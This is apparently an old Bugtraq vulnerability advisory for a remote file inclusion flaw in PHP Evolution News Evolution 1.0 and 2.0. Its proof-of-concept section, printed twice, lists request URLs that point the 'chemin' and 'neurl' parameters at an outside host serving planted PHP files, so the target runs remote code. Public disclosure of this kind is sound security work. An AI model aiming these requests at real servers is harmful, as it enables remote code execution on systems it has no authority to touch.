News Evolution Include Undefined Variable Command Execution Vulnerability
BID:6260
Info
News Evolution Include Undefined Variable Command Execution Vulnerability
| Bugtraq ID: | 6260 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 26 2002 12:00AM |
| Updated: | Nov 26 2002 12:00AM |
| Credit: | Vulnerability discovery credited to "Frog Man" <[email protected]>. |
| Vulnerable: |
PHP Evolution News Evolution 2.0 PHP Evolution News Evolution 1.0 |
| Not Vulnerable: | |
Exploit / POC
News Evolution Include Undefined Variable Command Execution Vulnerability
http://example.com/aff_news.php?chemin=http://example.org/ with
http://example.org/config.php
http://example.org/functions.inc.php
http://example.org/options.inc.php
http://example.com/screen.php?neurl=http://example.org with
http://example.org/admin/cfg/configsql.inc.php
http://example.org/admin/cfg/configscreen.inc.php
http://example.org/admin/cfg/configsite.inc.php
http://example.org/admin/cfg/configtache.inc.php
http://example.org/admin/fonctions/fctscr.php
http://example.org/admin/fonctions/fctadmin.php
http://example.org/admin/fonctions/fctform.php
http://example.org/admin/modules/cache.php
http://example.com/aff_news.php?chemin=http://example.org/ with
http://example.org/config.php
http://example.org/functions.inc.php
http://example.org/options.inc.php
http://example.com/screen.php?neurl=http://example.org with
http://example.org/admin/cfg/configsql.inc.php
http://example.org/admin/cfg/configscreen.inc.php
http://example.org/admin/cfg/configsite.inc.php
http://example.org/admin/cfg/configtache.inc.php
http://example.org/admin/fonctions/fctscr.php
http://example.org/admin/fonctions/fctadmin.php
http://example.org/admin/fonctions/fctform.php
http://example.org/admin/modules/cache.php